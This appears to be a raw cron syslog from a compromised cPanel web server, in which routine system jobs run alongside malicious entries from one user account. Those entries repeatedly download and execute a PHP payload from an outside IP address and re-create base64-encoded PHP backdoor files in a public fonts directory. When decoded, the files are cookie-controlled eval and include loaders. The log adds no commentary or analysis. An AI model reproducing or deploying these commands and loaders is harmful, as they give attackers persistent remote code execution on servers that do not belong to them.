Sep  5 04:56:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:56:01 ip-184-168-122-23 CROND[12373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:56:01 ip-184-168-122-23 CROND[12371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:57:01 ip-184-168-122-23 CROND[12485]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:57:01 ip-184-168-122-23 CROND[12486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:57:01 ip-184-168-122-23 CROND[12489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:57:01 ip-184-168-122-23 CROND[12487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:57:01 ip-184-168-122-23 CROND[12488]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  5 04:57:52 ip-184-168-122-23 crontab[12682]: (root) LIST (root)
Sep  5 04:57:52 ip-184-168-122-23 crontab[12684]: (root) LIST (root)
Sep  5 04:58:00 ip-184-168-122-23 crontab[12774]: (root) LIST (root)
Sep  5 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  5 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  5 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  5 04:58:01 ip-184-168-122-23 CROND[12824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:58:01 ip-184-168-122-23 CROND[12826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:58:01 ip-184-168-122-23 CROND[12827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:58:01 ip-184-168-122-23 CROND[12828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:58:01 ip-184-168-122-23 CROND[12829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:59:01 ip-184-168-122-23 CROND[13507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:59:01 ip-184-168-122-23 CROND[13508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:59:01 ip-184-168-122-23 CROND[13510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:59:01 ip-184-168-122-23 CROND[13512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:00:01 ip-184-168-122-23 CROND[13696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:00:01 ip-184-168-122-23 CROND[13701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:00:01 ip-184-168-122-23 CROND[13698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:00:02 ip-184-168-122-23 CROND[13700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:00:02 ip-184-168-122-23 CROND[13702]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:00:02 ip-184-168-122-23 CROND[13699]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:00:02 ip-184-168-122-23 CROND[13703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:00:02 ip-184-168-122-23 CROND[13697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:01:01 ip-184-168-122-23 CROND[13819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:01:01 ip-184-168-122-23 CROND[13821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:01:01 ip-184-168-122-23 CROND[13824]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 05:01:01 ip-184-168-122-23 CROND[13822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:01:01 ip-184-168-122-23 CROND[13829]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:01:01 ip-184-168-122-23 CROND[13830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13824]: starting 0anacron
Sep  5 05:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13843]: finished 0anacron
Sep  5 05:02:01 ip-184-168-122-23 CROND[13943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:02:01 ip-184-168-122-23 CROND[13944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:02:01 ip-184-168-122-23 CROND[13946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:02:01 ip-184-168-122-23 CROND[13948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:02:01 ip-184-168-122-23 CROND[13949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:03:01 ip-184-168-122-23 CROND[14055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:03:01 ip-184-168-122-23 CROND[14056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:03:01 ip-184-168-122-23 CROND[14057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:03:01 ip-184-168-122-23 CROND[14059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:04:01 ip-184-168-122-23 CROND[14163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:04:01 ip-184-168-122-23 CROND[14166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:04:01 ip-184-168-122-23 CROND[14168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:04:01 ip-184-168-122-23 CROND[14167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:04:01 ip-184-168-122-23 CROND[14165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:05:01 ip-184-168-122-23 CROND[14281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:05:02 ip-184-168-122-23 CROND[14283]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:05:02 ip-184-168-122-23 CROND[14285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:05:02 ip-184-168-122-23 CROND[14287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:05:02 ip-184-168-122-23 CROND[14288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:05:02 ip-184-168-122-23 CROND[14289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:05:02 ip-184-168-122-23 CROND[14291]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:06:01 ip-184-168-122-23 CROND[14461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:06:01 ip-184-168-122-23 CROND[14463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 05:06:01 ip-184-168-122-23 CROND[14464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:06:01 ip-184-168-122-23 CROND[14465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:06:01 ip-184-168-122-23 CROND[14466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:07:01 ip-184-168-122-23 CROND[14599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 05:07:01 ip-184-168-122-23 CROND[14601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 05:07:01 ip-184-168-122-23 CROND[14600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:07:01 ip-184-168-122-23 CROND[14602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:08:01 ip-184-168-122-23 CROND[14705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
